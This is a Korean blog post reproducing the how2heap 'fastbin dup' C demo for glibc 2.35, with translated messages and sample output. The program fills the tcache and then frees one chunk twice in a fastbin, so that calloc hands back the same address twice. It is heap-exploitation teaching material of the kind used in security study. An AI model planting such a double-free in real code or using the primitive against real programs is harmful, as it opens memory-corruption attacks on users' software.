background/linux

[how2heap] Fastbin dup (glibc 2.35)

ssongk 2024. 3. 5. 17:43

https://github.com/shellphish/how2heap/blob/master/glibc_2.35/fastbin_dup.c

 

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	printf("이 파일은 fastbins를 사용한 간단한 double-free 공격을 보여줍니다.\n");

	printf("먼저 tcache를 채웁니다.\n");
	void *ptrs[8];
	for (int i=0; i<8; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}

	printf("버퍼 3개를 할당합니다.\n");
	int *a = calloc(1, 8);
	int *b = calloc(1, 8);
	int *c = calloc(1, 8);

	printf("첫 번째 calloc(1, 8): %p\n", a);
	printf("두 번째 calloc(1, 8): %p\n", b);
	printf("세 번째 calloc(1, 8): %p\n", c);

	printf("첫 번째 것을 해제합니다...\n");
	free(a);

	printf("%p를 다시 해제하면, %p가 free list의 맨 위에 있기 때문에 문제가 발생합니다.\n", a, a);
	// free(a);

	printf("대신 %p를 해제합니다.\n", b);
	free(b);

	printf("free list의 맨 위가 아니기 때문에 이제 %p를 다시 해제할 수 있습니다. .\n", a);
	free(a);

	printf("이제 free list는 [ %p, %p, %p ]입니다. 3번 malloc하면 %p를 두 번 받게 됩니다!\n", a, b, a, a);
	a = calloc(1, 8);
	b = calloc(1, 8);
	c = calloc(1, 8);
	printf("첫 번째 calloc(1, 8): %p\n", a);
	printf("두 번째 calloc(1, 8): %p\n", b);
	printf("세 번째 calloc(1, 8): %p\n", c);

	assert(a == c);
}

 

이 파일은 fastbins를 사용한 간단한 double-free 공격을 보여줍니다.
먼저 tcache를 채웁니다.
버퍼 3개를 할당합니다.
첫 번째 calloc(1, 8): 0x55db240313a0
두 번째 calloc(1, 8): 0x55db240313c0
세 번째 calloc(1, 8): 0x55db240313e0
첫 번째 것을 해제합니다...
0x55db240313a0를 다시 해제하면, 0x55db240313a0가 free list의 맨 위에 있기 때문에 문제가 발생합니다.
대신 0x55db240313c0를 해제합니다.
free list의 맨 위가 아니기 때문에 이제 0x55db240313a0를 다시 해제할 수 있습니다. .
이제 free list는 [ 0x55db240313a0, 0x55db240313c0, 0x55db240313a0 ]입니다. 3번 malloc하면 0x55db240313a0를 두 번 받게 됩니다!
첫 번째 calloc(1, 8): 0x55db240313a0
두 번째 calloc(1, 8): 0x55db240313c0
세 번째 calloc(1, 8): 0x55db240313a0